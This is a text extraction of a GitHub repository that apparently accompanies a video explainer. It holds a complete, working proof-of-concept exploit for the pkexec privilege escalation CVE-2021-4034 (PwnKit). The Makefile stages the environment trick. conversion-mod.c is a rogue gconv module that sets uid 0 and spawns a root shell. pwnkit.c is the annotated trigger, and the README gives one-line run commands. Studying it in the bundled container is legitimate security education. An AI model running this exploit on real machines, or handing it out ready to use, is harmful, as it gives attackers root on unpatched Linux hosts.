Repository: PwnFunction/CVE-2021-4034
Branch: main
Commit: e978ff576622
Files: 5
Total size: 8.0 KB
Directory structure:
gitextract_r11bj97m/
├── Dockerfile
├── Makefile
├── README.md
├── conversion-mod.c
└── pwnkit.c
================================================
FILE CONTENTS
================================================
================================================
FILE: Dockerfile
================================================
# base
FROM ubuntu:focal
RUN apt update
# dev tools
RUN apt-get install -y gcc make
# polkit
RUN apt-get install -y libpolkit-gobject-1-0=0.105-26ubuntu1
RUN apt-get install -y libpolkit-agent-1-0=0.105-26ubuntu1
RUN apt-get install -y policykit-1=0.105-26ubuntu1
# low privileged user
RUN useradd -ms /bin/bash lowpriv
USER lowpriv
# copy exploit
RUN mkdir /home/lowpriv/pwnkit
COPY conversion-mod.c Makefile pwnkit.c /home/lowpriv/pwnkit/
WORKDIR /home/lowpriv/pwnkit
================================================
FILE: Makefile
================================================
all: clean setup conversion-mod.so pwnkit
setup:
mkdir 'GCONV_PATH=.'
touch GCONV_PATH=.\/pwn
chmod +x GCONV_PATH=.\/pwn
mkdir pwn
echo 'module UTF-8// BRUH// conversion-mod 1' > pwn/gconv-modules
conversion-mod.so:
gcc -shared -fPIC -o pwn/conversion-mod.so conversion-mod.c
pwnkit:
gcc -o pwnkit pwnkit.c
clean:
rm -rf 'GCONV_PATH=.' pwn pwnkit
================================================
FILE: README.md
================================================
# CVE-2021-4034
Local privilege escalation via `pkexec`
## YouTube video
<p>
<a href='https://www.youtube.com/watch?v=eTcVLqKpZJc'>
<img src="https://user-images.githubusercontent.com/19750782/162562498-078f4bcb-4403-4ec4-acd4-b59530f081db.png" alt="PwnFunction YouTube Video" width="600">
</a>
</p>
Watch the [✨ YouTube Video](https://www.youtube.com/watch?v=eTcVLqKpZJc)
## Run locally
```sh
make all && ./pwnkit && make clean
```
## Run in docker
```sh
# Build the docker image
docker build -t pwnkit .
# Run the exploit
docker run -it pwnkit bash
make all && ./pwnkit && make clean
```
## Detect using snyk-cli
```
snyk container test pwnkit:latest --file=Dockerfile
```
## Resources
- [Qualys Security Advisory](https://www.qualys.com/2022/01/25/cve-2021-4034/pwnkit.txt)
- [argv silliness](https://ryiron.wordpress.com/2013/12/16/argv-silliness/)
================================================
FILE: conversion-mod.c
================================================
#define _GNU_SOURCE
#include <unistd.h>
#include <gconv.h>
int gconv_init() {
/* Get back uid & gid */
setuid(0);
setgid(0);
char *args[] = {"sh", NULL};
char *envp[] = {"PATH=/bin:/usr/bin:/sbin", NULL};
execvpe("/bin/sh", args, envp);
return(__GCONV_OK);
}
int gconv(){ return(__GCONV_OK); }
================================================
FILE: pwnkit.c
================================================
/**
* pwnkit: Local Privilege Escalation in polkit's pkexec (CVE-2021-4034)
* Research advisory: https://www.qualys.com/2022/01/25/cve-2021-4034/pwnkit.txt
* poc by @PwnFunction <hello@pwnfunction.com>
* */
#include <unistd.h>
int main() {
/**
* Default n=1 via argv[0]=NULL, ergo argv[1] == envp[0] for OOB read and write primitives.
*
* Source: https://gitlab.freedesktop.org/polkit/polkit/-/blob/0.105/src/programs/pkexec.c#L481
*
* 481 for (n = 1; n < (guint) argc; n++) { ... }
* ...
* 537 path = g_strdup (argv[n]);
* */
char *argv[] = { NULL };
char *envp[] = {
/**
* `pwn` is argv[1] when OOB read,
* and will be overwritten by "unsecure" env variable "GCONV_PATH=./pwn"
*
* Source: https://gitlab.freedesktop.org/polkit/polkit/-/blob/0.105/src/programs/pkexec.c#L543
*
* 543 if (path[0] != '/')
* 544 {
* ...
* 546 s = g_find_program_in_path (path);
* ...
* 553 argv[n] = path = s;
* 554 }
* */
"pwn",
/**
* Trigger `g_printerr` via "suspicious content" ("/", "%", "..") in `validate_environment_variable`
* Choose `TERM` for no reason, any "safe" env variable works
*
* Source: https://gitlab.freedesktop.org/polkit/polkit/-/blob/0.105/src/programs/pkexec.c#L333
*
* 333 static gboolean
* 334 validate_environment_variable (const gchar *key,
* 335 const gchar *value)
* 336 {
* ...
* 352 if (g_strcmp0 (key, "SHELL") == 0) { ... }
* ...
* 364 else if ((g_strcmp0 (key, "XAUTHORITY") != 0 && strstr (value, "/") != NULL) ||
* 365 strstr (value, "%") != NULL ||
* 366 strstr (value, "..") != NULL)
* 367 {
* ...
* 371 g_printerr ("\n"
* 372 "This incident has been reported.\n");
* ...
* 374 }
* ...
* 380 }
* */
"TERM=..",
/**
* Should have a directory named `GCONV_PATH=.`.
* Inside a file should exist with the name `pwn`
* `g_find_program_in_path` resolve `path` to "GCONV_PATH=./pwn"
* Overwrite argv[1]="GCONV_PATH=./pwn", which is also envp[0]
*
* Source: https://gitlab.freedesktop.org/polkit/polkit/-/blob/0.105/src/programs/pkexec.c#L546
*
* 546 s = g_find_program_in_path (path);
* ...
* 553 argv[n] = path = s;
* */
"PATH=GCONV_PATH=.",
/**
* `UNSECURE_ENVVARS`: https://code.woboq.org/userspace/glibc/sysdeps/generic/unsecvars.h.html
* `__unsetenv`: https://code.woboq.org/userspace/glibc/elf/dl-support.c.html#348
* */
/**
* Under `g_printerr`, control the condition `g_get_console_charset()`.
*
* Source: https://github.com/GNOME/glib/blob/c2a56a0252acc8bd9dbff953c6c1969815863815/glib/gmessages.c#L3400
*
* 3400 if (g_get_console_charset (&charset))
*
* ---
*
* Inside `g_get_console_charset`, for unix systems calls `g_get_charset`.
*
* Source: https://github.com/GNOME/glib/blob/c2a56a0252acc8bd9dbff953c6c1969815863815/glib/gcharset.c#L432
*
* 432 return g_get_charset (charset);
*
* ---
*
* Under `g_get_charset`, we need to set `cache->is_utf8` to false.
*
* Source: https://github.com/GNOME/glib/blob/c2a56a0252acc8bd9dbff953c6c1969815863815/glib/gcharset.c#L220
*
* 220 cache->is_utf8 = g_utf8_get_charset_internal (raw, &new_charset);
*
* ---
*
* Inside `g_utf8_get_charset_internal`, returns `FALSE` if env variable `CHARSET` is not "UTF-8"
*
* Source: https://github.com/GNOME/glib/blob/c2a56a0252acc8bd9dbff953c6c1969815863815/glib/gcharset.c#L124
*
* 124 if (charset && strstr (charset, "UTF-8"))
* 125 return TRUE;
*
* */
"CHARSET=BRUH",
NULL
};
/**
*
* Back in `g_printerr`, when `g_get_console_charset` returns false, we branch to else
*
* Source: https://github.com/GNOME/glib/blob/c2a56a0252acc8bd9dbff953c6c1969815863815/glib/gmessages.c#L3404
*
* 3400 if (g_get_console_charset (&charset))
* 3401 fputs (string, stderr);
* 3402 else
* 3403 {
* 3404 gchar *lstring = strdup_convert (string, charset);
* ...
* 3408 }
*
* ---
*
* Inside `strdup_convert`, if the string is not a valid utf8 string, it calls the g_convert_with_fallback
*
* Source: https://github.com/GNOME/glib/blob/c2a56a0252acc8bd9dbff953c6c1969815863815/glib/gmessages.c#L1064
*
* 1043 if (!g_utf8_validate (string, -1, NULL)) { ... }
* 1060 else
* 1061 {
* ...
* 1064 gchar *result = g_convert_with_fallback (string, -1, charset, "UTF-8", "?", NULL, NULL, &err);
* ...
* 1081 }
*
* ---
*
* Under `g_convert_with_fallback`, calls the open_converter
*
* Source: https://github.com/GNOME/glib/blob/c2a56a0252acc8bd9dbff953c6c1969815863815/glib/gconvert.c#L697
*
* 697 cd = open_converter (to_codeset, "UTF-8", error);
*
* ---
*
* `open_converter` finally calls the `g_icon_open` which is - "Same as the standard UNIX routine iconv_open(),
* but may be implemented via libiconv on UNIX flavors that lack a native implementation."
*
* Source: https://github.com/GNOME/glib/blob/c2a56a0252acc8bd9dbff953c6c1969815863815/glib/gconvert.c#L313
*
* 313 cd = g_iconv_open (to_codeset, from_codeset);
*
* */
/* Fire it! */
execve("/usr/bin/pkexec", argv, envp);
return 0;
}
gitextract_r11bj97m/ ├── Dockerfile ├── Makefile ├── README.md ├── conversion-mod.c └── pwnkit.c
SYMBOL INDEX (3 symbols across 2 files)
FILE: conversion-mod.c
function gconv_init (line 5) | int gconv_init() {
function gconv (line 18) | int gconv(){ return(__GCONV_OK); }
FILE: pwnkit.c
function main (line 9) | int main() {
Condensed preview — 5 files, each showing path, character count, and a content snippet. Download the .json file or copy for the full structured content (9K chars).
[
{
"path": "Dockerfile",
"chars": 474,
"preview": "# base\nFROM ubuntu:focal\nRUN apt update\n\n# dev tools\nRUN apt-get install -y gcc make\n\n# polkit\nRUN apt-get install -y li"
},
{
"path": "Makefile",
"chars": 367,
"preview": "all: clean setup conversion-mod.so pwnkit\n\nsetup:\n\tmkdir 'GCONV_PATH=.'\n\ttouch GCONV_PATH=.\\/pwn\n\tchmod +x GCONV_PATH=.\\"
},
{
"path": "README.md",
"chars": 874,
"preview": "# CVE-2021-4034\n\nLocal privilege escalation via `pkexec`\n\n## YouTube video\n\n<p>\n <a href='https://www.youtube.com/watch"
},
{
"path": "conversion-mod.c",
"chars": 327,
"preview": "#define _GNU_SOURCE\n#include <unistd.h>\n#include <gconv.h>\n\nint gconv_init() {\n /* Get back uid & gid */\n setuid(0"
},
{
"path": "pwnkit.c",
"chars": 6157,
"preview": "/** \n * pwnkit: Local Privilege Escalation in polkit's pkexec (CVE-2021-4034)\n * Research advisory: https://www.qualys.c"
}
]
About this extraction
This page contains the full source code of the PwnFunction/CVE-2021-4034 GitHub repository, extracted and formatted as plain text for AI agents and large language models (LLMs). The extraction includes 5 files (8.0 KB), approximately 2.7k tokens, and a symbol index with 3 extracted functions, classes, methods, constants, and types. Use this with OpenClaw, Claude, ChatGPT, Cursor, Windsurf, or any other AI tool that accepts text input. You can copy the full output to your clipboard or download it as a .txt file.
Extracted by GitExtract — free GitHub repo to text converter for AI. Built by Nikandr Surkov.